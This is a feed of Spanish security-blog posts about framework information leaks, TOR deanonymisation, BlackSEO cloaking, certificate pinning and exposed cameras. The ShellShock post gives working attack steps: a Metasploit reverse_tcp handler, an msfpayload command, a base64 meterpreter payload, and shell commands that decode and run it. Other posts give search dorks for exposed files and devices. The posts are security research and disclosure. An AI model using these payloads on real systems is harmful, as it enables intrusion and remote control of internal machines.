Quantcast
Channel: Un informático en el lado del mal
Viewing all 4225 articles
Browse latest View live

Fuga de información en Symfony al chequear requisitos

$
0
0
La semana pasada, mientras jugaba con los Huevos de Pascua en PHP para localizar las versiones del framework instaladas en los servidores web, me topé con una web de control en otro framework  en este caso Symfony, que resolvía toda la problemática del fingerprinting. Solo con llegar a ella ya era posible acceder a la información del framework PHP y mucho más que eso, por lo que solicité a mis compañeros que la metieran en el motor de Faast para reconocer estos leaks en nuestro motor de Pentesting Persistente. Días después he podido jugar mucho más con ello así que aquí va el resultado.

Figura 1: Un "leak" de información en Symfony al chequear los requisitos

Symfony es un frameworkserver-side para aplicaciones PHP que viene con una buena cantidad de controles para desarrollar aplicaciones web. Es un entorno que proporciona capacidades similares a las de Laravel PHP, pero que ha crecido exponencialmente en los últimos tiempos. En las estadísticas de Symfony en Buildwith se puede ver como ya sitios entre el TOP 10.000 mundial comienzan a usarlo, y muchos más en el Top 1.000.000, lo que deja clara la popularidad de esta tecnología.

Figura 2: Estadísticas de uso de Symfony

El asunto es que cuando se instala en un servido web, viene acompañado de un fichero de comprobación de requisitos llamado check.php que se localiza habitualmente en el directorio raíz del sitio web. Esta aplicación no es más que una batería de comprobaciones que revisan si todos los requisitos necesarios se cumplen para que funcione Symfony.

Figura 3: Sección inicial de check.php de Symfony Requirements Check

Lo cierto es, que en la lista de comprobaciones se muestran las versiones del framework PHP así como rutas locales de instalación de los archivos de configuración, lo que es un leak de información que debería ser cortado.

Figura 4: Otra versión más antigua de Symfony Requirementes Check

Este fichero debería eliminarse de la instalación de cualquier sitio web con Symfony una vez terminado para evitar que cualquier atacante acceda a dicha información. Sin embargo, es fácil localizarlos en un montón de servidores.

Figura 5: Symphony Server Check v1.01

Como se puede ver, ha habido diferentes versiones de esta aplicación de comprobación de requisitos en Symfony, y algunos como el siguiente, además llevan incorporado un enlace al PHP info, con lo que la fuga de información es aún mayor.

Figura 6: PHP Info generado desde Symfony Server Check

Todos estos datos deberían ser eliminados del servidor para evitar las fugas de información con el objeto de tener el servidor mucho más fortificado.

Figura 7: LatchBundle para Symfony2

Además, hace ya muchos meses que para la versión Symfony2 se hizo un plugin para Latch por lo que si quieres puedes, además de eliminar el leak de información que se genera con check.php, añadir una capa de seguridad para las identidades con LatchBundle.

Saludos Malignos!

Conferencias del Security Innovation Day 2014 online

$
0
0
Ya están todas las conferencias del Security Innovation Day 2014 disponibles en el Canal Youtube de Eleven Paths. Están divididas en varias sesiones, para que sea más fácil organizarse la visualización de las mismas. La primera de ella, la keynote del evento, donde hicimos los anuncios de acuerdos y novedades está publicada en y comentada en el artículo: Security Innovation Day 2014 - Keynote en Vídeo.

Figura 1: Todas las conferencias del Security Innovation Day 2014 disponibles en vídeo

Smart Access: Gestión de la identidad y Autenticación móvil

Después de la primera charla, hablamos de la incorporación de las tecnologías de SmartAccess dentro de Eleven Paths. Esta compañía tiene dos familias de productos llamados SealSign, centrado en la firma electrónica de documentos usando certificados digitales y reconocimiento biométrico en dispositivos móviles, así como el archivado longevo de los mismos, y SmartID, un sistema para autenticación robusta en sistemas informáticos usando smartcards, certificados digitales y biometría


Figura 2: Presentación de las tecnologías de SmartAccess

Para presentar el sistema de reconocimiento biométrico de firma manuscrita en dispositivos móviles usamos una aplicación para reconocer los falsificadores de firmas en una tableta, tal y como se puede ver en el vídeo. Por supuesto, a mí me tocó hacer de falsificador. También, dentro de esta sesión hablamos de Mobile ID / Mobile Connect, que permite autenticar utilizando la SIM de un terminal móvil, creada por Telefónica I+D.

Wayra - Alise Devices

De la tecnología de Alise Devices ya os he hablado tiempo atrás. Esta tecnología nacida en una startup de Wayra permite, por medio de un material inteligente, que cualquier persona sea capaz de reconocer si un documento, un envase, un medicamento o cualquier otro tipo de elemento es auténtico o no con solo poner un pantalla móvil detrás del material. Esta es la presentación que hicieron en el evento.

Figura 3: Presentación de Alise Devices por parte de Beatriz Cerrolaza

Eleven Paths: Nuevas tendencias en Ciberataques

En esta presentación Pablo González (@pablogonzalezpe) y yo queríamos enseñar algunas demos de ataques sencillos pero funcionales que están teniendo lugar hoy en día. Después, enseñamos como funciona nuestro sistemas en cloud de Pentesting Persistente Faast - del que puedes pedir un piloto gratis para tu empresa poniéndote en contacto con nosotros - para auditar infraestructuras. Durante la sesión comentamos los casos del ataque a la RSA Conference por parte de el grupo SEA, los bugs explotados en el Celebgate de Apple, el problema del certificado caducado de Apple o el dominio de Oracle.es perdido.

Figura 4: Nuevas tendencias en ciberataques

Luego, hicimos tres demostraciones para mostrar algún escenario, como un doxing por medio de un documento .doc, un ataque de click to call mediante un correo electrónico para averiguar el número de teléfono de una persona detrás de una dirección y el ataque para robar la base de datos de una empresa utilizando autenticación integrada en una macro de Excel maliciosa. Por último explicamos Faast poniendo un ejemplo de Apple.com y el caso de Poodle.

Codename: Path 5

La última sesión del evento se la dedicamos a Path 5. En ella, Jaime Sánchez (@segofensiva) primero dio un repaso a la situación del malware/adware en el mundo de Android. Puso ejemplos, de los que podéis leer en la serie de 9 artículos escritos por Sergio de los Santos (@ssantosv) en el blog de Eleven Paths, que lleva por título: El negocio de las "FakeApps" y el malware en Google Play

La segunda parte, y la que fue el cierre del evento, estuvo a cargo de David Barroso (@lostinsecurity) CTO de Eleven Paths, que explicó Path 5 con un ejemplo. Path 5 es un entorno de investigación que permite a analistas cruzar datos en tiempo real con apps del mundo de Android presentes y pasadas que están disponibles incluso en diferentes markets. Es decir, es una plataforma de investigación que permite correlar características espaciales y temporales en apps para dispositivos móviles - por ahora solo Android - permitiendo a los analistas dar respuesta a preguntas de forma rápida y sencilla. No os perdáis la presentación que merece la pena.

Figura 5: Codename Path 5

Y esto fue todo lo que dio de sí el Security Innovation Day 2014, esperamos que todas estas cosas en las que hemos estado trabajando durante este año os hayan gustado. Nosotros ya estamos trabajando para que el Security Innovation Day 2015 sea igual o mejor que éste.

Saludos Malignos!

¿Cómo se puede romper el anonimato en TOR?

$
0
0
Dentro del concepto de Deep Web, que representa todas esas partes de Internet alejadas del mainstream, existe muchas redes. Algunas de ellas como CJDNS y su Hypberboria que necesitan contar con la confianza de sus miembros para dejarte entrar, otras directamente la propia web pero usando accesos escondidos en conexiones que se abren con port knocking, por puertos privados o que necesitan de credenciales especiales y otras tan populares hoy en día como la red TOR.

Figura 1: ¿Cómo se puede romper el anonimato en la red TOR?

Esta última, la red que utiliza The Onion Routing, se construye bajo las premisas de dar anonimato y privacidad tanto a clientes como servidores, y por ello ha sido lugar habitual de activistas políticos, hackers en busca de intimidad en sus acciones y, también cibercriminales con el más variopinto conjunto de negocios, que pueden ir desde la venta de identidad, drogas, asesinos a sueldos o cosas aún peores.

Por supuesto, los cuerpos de seguridad, las agencias de inteligencia y muchos gobiernos, han querido romper en la red TOR ese anonimato y privacidad, por lo que se han visto muchísimos ataques distintos. Desde el uso de exploits en el software cliente de conexión, al conocimiento de los usuarios de la red mucho antes de que lo fueran, pasando por la colocación de nodos falsos de salida, como el que vimos hace poco que infectaba los ficheros binarios que se descargaban.

Figura 2: Esquema de funcionamiento de The Onion Routing

El propio proyecto TOR reconoció que todo el tráfico que había circulado por la red durante los seis primeros meses del año había estado en riesgo, y por tanto, el anonimato estuvo comprometido en la red TOR tanto para clientes como para servidores. Las técnicas que se usaron para romper el anonimato fueron las de la correlación pasiva de tráfico de red, técnicas que habían sido explicadas tiempo atrás en un trabajo en inglés.

Ahora, el trabajo que analizaba dichos ataques ha sido traducido al español por Juan Eljach y Gustavo Rendón, para que sea más fácil de leer por los menos duchos en la lengua inglesa. He subido una copia en formato PDF a mi cuenta de SlideShare, y la tenéis disponible aquí para su lectura.


La red TOR no para de crecer. Los bancos no están cortando las conexiones a sus sistemas de e-banking, y la propia Facebook - antítesis del anonimato en favor de la socialización de la red - ha abierto ya un nodo directamente en la red TOR. Dentro de poco ya TOR va a ser mainstream, así que más te vale conocer todo lo que puedas de ella, así que después de este documento, debes leer: "Users Get Routed:Traffic Correlation on Tor by Realistic Adversaries".

Saludos Malignos!

BlackSEO - Detector: Unas pruebas con el gobierno de USA

$
0
0
Fueron los recortes quienes acabaron con aquel evento tan interesante, la Open Source World Conference 2010 que se iba a celebrar en Málaga. Y también con una charla en la que Chema y yo íbamos a hablar sobre BlackSEO y a presentar una herramienta llamada BlueFinder. Era quizá más una curiosidad que cualquier otra cosa. Incluso estaba escrita en Bash. Pero sus algoritmos, sencillos a la vez que interesantes, le permitían detectar modificaciones no autorizadas de sitios web mediante el análisis de resultados de buscadores y respuestas de servidores. Y la cancelación de la conferencia le privó de su puesta de largo.

Figura 1: BlackSEO - Detector

Recientemente, mientras preparaba la tercera edición de “Hacking con buscadores” que saldrá para estas navidades me la volví a encontrar en un párrafo. Algo se iluminó en mi mente y me prometí retomarla. Esta vez la reescribiría en Ruby y le tendría que cambiar el nombre: una consulta a Google me decía que ya existía una app para Android, y también una herramienta de búsqueda para fabricantes de productos textiles, con esa denominación. Por ahora, se quedará con “BlackSEO - Detector”. Una vez hube acabado con el libro, me puse a ello y aunque aún le quedan detalles por pulir, ya está dando sus primeros resultados. Y, como muestra, un botón.

Un caso de análisis de BlackSEO 

El sitio web de este ejemplo pertenece al Federal Registry for Educational Excellence, un organismo gubernamental estadounidense. Me lo encontré en una de las pruebas de BlackSEO - Detector, tratando de localizar referencias a ventas irregulares de fármacos. El informe de salida de la herramienta, en formato HTML, comenzaba con generalidades sobre la URL reportada:

Figura 2: Cabecera del reporte de Black-SEO Detector

En este caso, el título del resultado parecía no estar relacionado con la búsqueda. Más bien tenía pinta de tratarse de un caso de venta de calzado deportivo. En todo caso, la parte en la que se analiza las respuestas obtenidas al acceder al recurso presentaba datos si cabe más llamativos:

Figura 3: Alertas en el informe de Black SEO - Detector

La página presentaba tres respuestas diferentes. Si se accedía a ella de forma normal, se producía una redirección a otra página del mismo sitio que no parecía presentar problemas. Si se hacía utilizando el User-Agent de Google, la respuesta contenía palabras que apuntaban a contenidos extraños. Una petición con una cabecera Referer que le hiciera parecer procedente de un clic en un resultado del buscador parecía obtener una respuesta sin redirecciones ni contenidos extraños.

Y, como era de esperar, la cache de Google contenía indicios de problemas. Parecía ser el típico caso de Cloaking forzado. Así que, para verlo todo más claro, accedí a los detalles sobre las respuestas ante la URL:

Figura 4: Evidencias de Cloacking en el informe de BlackSEO - Detector

En cuanto a los contenidos sospechosos, ahí estaban. Sólo hacía falta bajar hasta encontrarlos:

Figura 5: Contenidos sospechosos detectados en BlackSEO - Detector

El código inyectado para hacer BlackSEO

Pero lo más llamativo era la respuesta cuando se simulaba el Referer de la página de resultados de Google. Un script cargado desde otro dominio. ¿Por qué no descargarlo para analizarlo? Pues ahí va su contenido:

Figura 6: Script inyectado y ofuscado

Como no soy de los que entienden este tipo de galimatías, determiné la cadena que se ejecuta con la llamada inicial a “eval”. Debidamente embellecida, quedaría:



Figura 7: El código desofuscado

Análisis explicado del comportamiento de BlackSEO

Aunque al final no pase de ser más que una redirección, desde luego, hace uso de una técnica interesante y no demasiado frecuente. Para empezar, una cookie, “MMHs”, permite cambiar el dominio de destino dependiendo de si se ha visitado antes o no la página.

Posteriormente se comprueba la URL de Referer, y en particular su parámetro GET “q”, en busca de la consulta realizada al buscador. Si dicho parámetro está vacío o si contiene texto que haga alusión a gafas de sol, se vuelve a cambiar la URL de destino. También se comprueba si el clic vino de una página de búsqueda de imágenes. En este caso, la ruta de la imagen es sometida a varias modificaciones, de modo que se termina forzando la visita a una página HTML, con lo que ésta pueda contener.

Una vez determinada la URL de destino, el procedimiento de redirección es también bastante artificioso. Lo que más me llamó la atención es que si el equipo que visualiza la página tiene una zona horaria correspondiente a GMT+8, redirige a una página de error. Una forma de evitar “clientes” no deseados. Echando un vistazo a las diferencias horarias, me sale que eso se corresponde con ciudades como Hong Kong o Beijing. Por poner algún ejemplo.

Como poco, ahí quedarían cuatro dominios a los que seguir la pista. Cinco, si se tiene en cuenta el que alojaba el script. Y en cuanto se empiece a investigar saldrán, seguro, algunos más, direcciones de correo, otros sitios afectados, etcétera. Pero eso es ya otra historia. Es hora de volver al tajo y seguir puliendo la herramienta.

Autor: Enrique Rando
Autor del libro "Hacking con Buscadores"

Magento: Otra pequeña fuga de información en el "Check"

$
0
0
A veces las cosas se encadenan una tras de otra en un no parar. Esto es lo que hace divertido este mundo de la seguridad informática y la auditoría de sistemas. Siempre hay un nuevo truco que aprender o que descubrir y por eso nunca me aburriré de este mundo. Éste es uno de esos casos. Empezó la historia buscando ficheros PHP para probar los Huevos de Pascua para localizar la versión del framework. Con ellos llegué a uno que se llamaba check.php que resultó ser un leak de información de instalaciones inseguras de Symfony y buscando estos ficheros, llegué a otra pequeña fuga de información en otro check, esta vez del framework para tiendas e-commerceMagento.

Figura 1: Otra pequeña fuga de información en la comprobación de requisitos

El asunto es, que para localizar ejemplos del check.php de Symfony utilicé el truco de buscar en los archivos robots.txt. Éste es un buen lugar para localizar lo que la gente no quiere que se localice, y por supuesto un fichero de test como check.php no debería estar localizable en los buscadores. Quiso el destino que el framework Magento utilice un fichero similar, pero llamado mangento-check.php y gracias a esta coincidencia en el final del nombre apareció en mis búsquedas. 

Por supuesto, una vez sabido de su existencia ya fue fácil hacer un dork en Google para localizar algunos ejemplos usando el truco de nuevo de buscar en los ficheros robots.txt, pero en este caso con el nombre magento-check.php.

Figura 2: Dork para buscar en ficheros robots.txt el fichero magento-check.php

Los ficheros de test miran un conjunto no demasiado grande de propiedades, pero como puede verse hay tres cosas muy útiles, que son: Si la versión del framework PHP es mayor o igual que una dada, si la versión de MySQL es mayor o igual que una dada y si el Safe Mode de PHP está ON u OFF.

Figura 3: Un fichero magento-check.php con todo ok

Si todo está bien, no parece excesivamente peligroso, pero si no lo está, entonces se puede inferir que estamos ante una versión antigua del software de base de datos MySQL o del framework PHP, lo que puede significar la existencia de vulnerabilidades.

Figura 4: Un fichero mangento-check.php con un warning en la versión de MySQL

Al final el problema es que esos ficheros estén accesibles en el path de publicación del sitio web, lo que no debería ser así, pero por si acaso, nosotros en nuestra lista de ficheros de leaks que buscamos y parseamos en nuestro sistema de Pentesting Persistente Faast, ya hemos metido también el de Magento - por si se le olvida en algún sitio inadecuado a alguien -.

Saludos Malignos!

Certificate Pinning: Un estudio sobre el estado del arte

$
0
0
En la última RECSI (Reunión Española de Criptografía y Seguridad Informática) 2014 que tuvo lugar en Alicante, participamos con un par de trabajos que puedes encontrar en el canal Slide Share de Eleven Paths. Uno de ellos estuvo centrado en las técnicas de Certifica Pinning, titulado: "Contramedidas en la suplantación de identidades. Certificate Pinning", que puedes descargar y/o leer en formato PDF.

Figura 1: Un estudio del estado del arte de las técnicas de Certificate Pinning


Las técnicas de Certificate Pinning se basan en extremar las medidas de protección a la hora de aceptar por bueno un certificado digital en una conexión segura. Hasta que comenzaron a extenderse los navegadores y/o sistemas operativos venían con un almacén de las claves públicas pertenecientes a las entidades de certificación en las que se confía, y la validación de un certificado digital enviado desde cualquier servidor se basa en analizar la cadena de confianza de certificación para ver si termina en uno de los certificados almacenados en los que se confía.
Podríamos decir que el proceso de tener la lista de certificados digitales de las entidades de confianza es el pinning "clásico", pero con la aparición de certificados falsos para dominios populares, como los que vimos que aparecieron tras el robo de la entidad certificadora Diginotar, el posible uso de entidades de certificación intermedias, o la creación de certificados falsos por medio de colisiones de hashes, tal y como se vio en el caso de The Flame o en el reciente caso de los certificados de Windows Update, lo cierto es que parece que no basta solo con pinnear el certificado de la entidad, sino el certificado concreto del servidor al que nos conectamos completamente.

Figura 3: Posibilidad de hacer Certificate Pinning con EMET en Windows

Cuando lo que se guardan son los certificados únicos de los servidores, y se hace una validación de toda la clave completa en cada conexión, es entonces cuando se está realizando Certificate Pinning, algo que se ha hecho muy popular entre los expertos en seguridad. De hecho, la herramienta EMET que se usa para maximizar la seguridad de sistemas Windows permite hacer Certificate Pinning, y para que fuera muchos más sencillo de usar, desde el laboratorio de Eleven Paths lanzamos EMET Rules para hacer Certificate Pinning a todo Internet - si quieres - hace ya algún tiempo.

Figura 4: Plugin DNSSEC TLS Validator para Firefox
En el blog de Eleven Paths le dedicamos una serie completa a Certificate Pinning: El qué, el cómo y el porqué. En ese trabajo se habla también de algunas implementaciones enfocadas en validar los certificados digitales por otras vías, como son DANE( DNS-Based Authentication of Named Entities) o TACKS (Trust Assertions for Certificate Key).

Figura 5: Fallo de Certificate Pinning en Mozilla Firefox explicado en el Blog de Eleven Paths

Todos estos puntos, así como la aplicación de estas técnicas en los navegadores Google Chrome, Internet Explorer y Firefox - incluida su última implementación de Certificate Pinning con dudoso éxito - se tratan en detalle en ese artículo, así que si te interesa conocer más sobre estas técnicas, es la lectura de este sábado para tu e-book reader. Seis páginas en Español que te permitirán tener una idea clara del estado del arte en técnicas de Certificate Pinning.

Saludos Malignos!

¿Quién te está mirando por tu Cámara de Seguridad?

$
0
0
Cuando una persona instala una Cámara de Seguridad o un Circuito Cerrado de TV en su casa o en su empresa es porque está preocupado por la seguridad. Que ese sistema de vigilancia se te vuelva tu peor enemigo por culpa de un fallo de seguridad en el software o por simplemente no haber cambiado las contraseñas por defecto no debería pasar. Pero pasa, y por desgracia muy a menudo, tanto como para que una web haya montado un servicio para acceder alrededor de 20.000 cámaras de seguridad de todo el mundo, como se ve al final de este artículo.

Figura 1: ¿Sabes quién te está mirando a través de tu cámara de seguridad?

Cámaras de Seguridad y Passwords por Defecto

El problema de las contraseñas por defecto hace largo tiempo que se conoce como un problema serio de seguridad. Cuando un dispositivo se instala, debe obligar siempre durante ese proceso a cambiar las contraseñas del sistema. Si no lo hace, acaba de generar un agujero de seguridad que acabará afectando a un porcentaje de los usuarios de esa plataforma. Hablando de este problema yo di una presentación en GSICK-2011 en una conferencia titulada: Default Passwords - ¡Adelante, por favor!

En aquella sesión, le dediqué un pequeño apartado a las cámaras de seguridad que había estado buscando por puertos menos habituales, usando contraseñas por defecto o comunes. En ese caso, que publiqué en "Cámaras de seguridad por oscuridad", solo busqué por el puerto 81 y ya salieron suficientes para darse cuenta de que era un problema serio.

Figura 2: Un circuito de cámaras de seguridad de un bar expuesto en Internet por el puerto 81

Algo similar contaba un compañero en su artículo "Cervezas, Cámara, Acción" en el que narraba que no solo en Internet, sino en las redes WiFi cerradas de cualquier sitio podrías acabar encontrando cámaras de seguridad con passwords por defecto.

Cámaras de seguridad y fallos de seguridad

Otro caso especialmente llamativo fue el del escándalo de privacidad de las cámaras TrendNet, que gracias a un fallo de seguridad por el que se podía - y aún puede en muchos modelos sin actualizar - acceder a la imagen en tiempo real que toma la cámara sin contraseña, acceder a cámaras de seguridad por todo el mundo, algo que permitía llegar a sitios insospechados como se puede ver en esta significa captura que fue tomada por una de esas cámaras.

Figura 3: Una cámara de seguridad TrendNet en un dormitorio particular

Algo similar publicó Alejandro Ramos (@aramosf) con un 0day descubierto en el software Hunt CCTV utilizado por muchos modelos de cámaras de seguridad por todo el mundo. Este 0day permitía conseguir la contraseña de cualquier cámara del mundo con solo pedir la descarga del fichero de configuración, tal y como explicó en el Security Advisory.

Este fallo es parte de la historia del libro Hacker Épico, que cuenta cómo piensa un hacker para resolver algunas soluciones, y en este caso el protagonista necesitaba acceder a las grabaciones de una cámara. Con este fallo, se podía acceder a 12.000 circuitos de cámaras de seguridad por todo el mundo, tal y como puede verse en la captura del mapa superior.

Figura 4: Mapa de ubicación de cámaras Hunt CCTV vulnerables por todo el mundo

El último de estos casos fue el de la cámara de seguridad GM01 que te ponía en riesgo personal, ya que subía tus imágenes a la nube sin ningún tipo de control y protección. Con estas vulnerabilidades se podía acceder a las capturas de gente en su vida personal en su domicilio, algo que es otra aberración.

Figura 5: Fotos de una cámara de seguridad GM01

El fabricante de origen chino, después de estar sin contestar durante mucho tiempo, tras la publicación del artículo tomó algunas medidas para evitar los ataques allí expuestos, como quitar el listado de directorios, pero dejó otros sin solucionar lo que tal vez podría permitir llegar a sacar aún las fotografías.

Todas las cámaras en un único punto de control

Ahora, una web se ha dedicado a recoger estos fallos de seguridad y configuraciones con claves por defecto, y buscar luego por Internet las cámaras que permitan hacer esto mismo, es decir, acceder a las grabaciones para crear un interfaz que permite buscar por país y por ciudad las cámaras a las que se puede acceder libremente.

Figura 6: Web que permite acceder a las cámaras de seguridad de todo el mundo

Entre la lista, por supuesto, hay cámaras en todos los países, y algunas en casas particulares como se puede ver en estas dos primeras de Alicante y/o Avilés.

Figura 7: Cámaras de seguridad en Alicante, Avilés o Barcelona

Ahora hay 377 cámaras en España, pero hace unos días creo recordar que había más. He mirado en Madrid, y también hay cámaras en domicilios particulares en las que además se guarda su ubicación GPS - supongo que por medio de la dirección IP -.


Figura 8: Cámaras de seguridad en casas particulares de Madrid

De cada cámara, además, se tiene la información técnica de la marca y el modelo y cuál es el usuario que se ha utilizado para acceder a ella, tal y como puede verse aquí.

Figura 9: Datos de una cámara de seguridad en Madrid

Al final, si tienes una cámara de seguridad, asegúrate muy bien de qué compras, como funciona y qué fallos de seguridad se publican, ya que al final puedes tener que ponerte sexy para salir en la CCTV en lugar de en la webcam.

Saludos Malignos!

ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet

$
0
0
Hace unos días se celebró en Barcelona la conferencia de seguridad informática NoConName 2014, una de las conferencias más antiguas y respetadas en la comunidad “hacking” en España. En esta edición, hicimos pública la investigación detallada que realizamos en Eleven Paths sobre la posibilidad de utilizar las técnicas de Javascript Port Scanning para realizar, al menos, enumeración (footprinting y fingerprinting) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)y (II):

Figura 1: ShellShock Client-Side Scripting Attack

Enumeración de la red interna de una empresa con visitar una web

Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un JavaScript malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de JavaScript Botnet para hacer ataques dirigidos. La "víctima” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.


La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, UPS, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de pentesting sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.

Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en Internet? ¿estará actualizado nuestro CMS interno en una organización? ¿se ha aplicado el último parche al WordPress, Joomla o Drupal de la Intranet? ¿Está el firmware de nuestro router doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?

Explotar Shellshock en un equipo interno desde el navegador de otro

Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la NoConName una demostración usando el fallo de ShellShock en un ataque que hemos denominado: “ShellShock Client-Side Scripting Attack”. Aunque con un poco de imaginación el lector advertirá que existen “multitud de variantes” y “ataques interesantes” basados en estos mismos principios. El proceso para hacer un Shellshock Client-Side Scripting Attack sería:
1) La víctima está en una red que tiene un equipo vulnerable a la famosa vulnerabilidad Shellshock. El equipo vulnerable no es accesible directamente desde Internet. 
2) El atacante construye una página web (o modifica una existente) e introduce código HTML/Javascript para enumerar direcciones IP vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas. 
3) La víctima carga una página web con el “código malicioso”, por ejemplo, con su navegador actualizado Google Chrome. 
4) El “código malicioso” detecta para una máquina viva un servicio conocido vulnerable a ShellShock.
Hasta este punto un funcionamiento más o menos normal de footprinting y fingerprinting utilizando la técnica de JavaScript Port Scanning. Seguidamente lo que se va a forzar es que la página web modificada contenga un “exploit” de forma que cuando detecte un servicio vulnerable a Shellshock se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el bug, qué realizar con el equipo vulnerable depende de la imaginación del atacante.

Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack

A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un meterpreter de Metasploit -  y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde Internet y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas DMZ especiales.

ShellShock Client-Side Scripting Attack: Paso a paso
a) Configuración de listener de reverse-shell:El atacante utiliza el framework Metasploit para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit
b) Creación del payload de ShellShock: El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “meterpreter/reverse_tcp” en codificación base64 para facilitar su envío en peticiones HTTP.
msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64
c) Nuestro payload:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=
d) Ejecución de exploit: El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.
Figura 4: Ejecución del exploit desde el navegador de la víctima
La tecnología CORS (Cross-Origin Resource Sharing) alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.
e) Ejecución del payload en la víctima: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:
1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin
2. Se descodifica el bas64 y se vuelca el binario a otro fichero
/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin
3. Se le da permisos de ejecución al payload
/bin/chmod 755 /tmp/p1.bin
4. Se ejecuta el payload
/tmp/p1.bin
d) Ejecución de meterpreter: La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.
Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit
En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.
Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.

Autores:
Dr. Alfonso Muñoz
Eleven Paths. Escritor del libro de Criptográfica RSA (@mindcrypt& @criptored)
Ricardo Martín
Security & Quallity Assurance Engineer en Eleven Paths (@ricardo090489)

No pases el repositorio de código a producción en tu dispositivo ... o atente a las consecuencias

$
0
0
Preparando unas demostraciones para una charla sobre (IN)seguridad en Internet, decidí buscar dispositivos accesibles mediante TCP/IP que estuvieran colocados en edificios para, por ejemplo, controlar la luminosidad, temperatura, consumos eléctricos, etcétera y así ver cuántos de ellos mantienen sus datos de acceso con credenciales por defecto. Para ello decidí hacer un poco de hacking con buscadores y usar Shodan.

Figura 1: No pases el repositorio de código a producción

Para acotar la búsqueda, sólo busqué dispositivos en España en cuyo banner apareciera la palabra "planta", ya que de estar clasificados en un edificio por la planta donde están colocados, seguramente al configurar el equipamiento de control el operario habría introducido esa palabra dentro del dispositivo de control.

Bug 1: Data Leak en Banner

Como se ve en la imagen, la mayoría de estos dispositivos se encuentran en Barcelona y por el esquema de direccionamiento IP es muy probable que la mayoría de ellos estén colocados en la misma organización, ya que todos aparecen en la red 147.83.X.X.

Figura 2: Dispositivos con banner "planta" encontrados en España vía Shodan

Seleccionando el primer dispositivo se observa que éste dispone de un servidor web y nos muestra el siguiente formulario de acceso:

Figura 3: El portal web a un dispositivo conectado a Internet

Una opción que podría barajarse para intentar un posible acceso sería buscar el usuario y la contraseña por defecto de este tipo de dispositivos ya que es un error habitual no cambiar los datos de acceso por defecto, tal y como se explica en el artículo de las cámaras de seguridad.

Bug 2: Directory Listing

Pero en este caso, lo que vamos a comprobar es otro sencillo bug en los servidores web no fortificados. El listado de directorios. Al comprobar si se puede hacer un listing en el servidor web del dispositivo, la sorpresa es que sí es posible:

Figura 4: Directory Listing en el directorio de imágenes del servidor web del dispositivo

